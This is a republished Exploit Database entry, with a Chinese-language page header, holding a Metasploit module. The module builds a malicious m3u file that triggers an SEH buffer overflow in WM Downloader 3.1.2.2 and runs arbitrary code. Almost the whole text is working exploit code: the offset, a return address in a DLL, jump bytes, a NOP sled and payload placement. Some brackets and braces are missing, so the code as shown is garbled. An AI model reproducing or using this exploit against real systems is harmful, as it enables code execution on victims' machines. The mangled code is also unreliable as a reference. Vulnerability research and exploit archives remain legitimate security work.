WM Downloader 3.1.2.2 – Local Buffer Overflow (Metasploit) (2)

Exploit Database
108 阅读

作者： Metasploit

日期： 2010-11-11
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/16642/

# $Id: wm_downloader_m3u.rb 10998 2010-11-11 22:43:22Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'WM Downloader 3.1.2.2 Buffer Overflow',

'Description'=> %q{

This module exploits a buffer overflow in WM Downloader v3.1.2.2. When

the application is used to import a specially crafted m3u file, a buffer overflow occurs

allowing arbitrary code execution.

'License'=> MSF_LICENSE,

'Author' =>

[

'fdisk', # Original Exploit

'dookie' # MSF Module

'Version'=> '$Revision: 10998 $',

'References' =>

[

[ 'OSVDB', '66911'],

[ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space'=> 1000,

'BadChars' => "\x00\x09\x0a",

'StackAdjustment' => -3500

'Platform' => 'win',

'Targets'=>

[

[ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ], # p/p/r in WDfilter03.dll

'Privileged' => false,

'DisclosureDate' => 'Jul 28 2010',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),

], self.class)

end

def exploit

sploit = rand_text_alpha_upper(43480) # Offset for WinXP

sploit << "\xeb\x20\x90\x90" # Jump to the nops after the 2nd offset

sploit << [target.ret].pack('V') # Offset

sploit << rand_text_alpha_upper(16) # Pad to reach the Win7 Offset

sploit << "\xeb\x0C\x90\x90" # Jump over the cruft

sploit << [target.ret].pack('V') # Offset

sploit << "\x90" * 8

sploit << payload.encoded

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end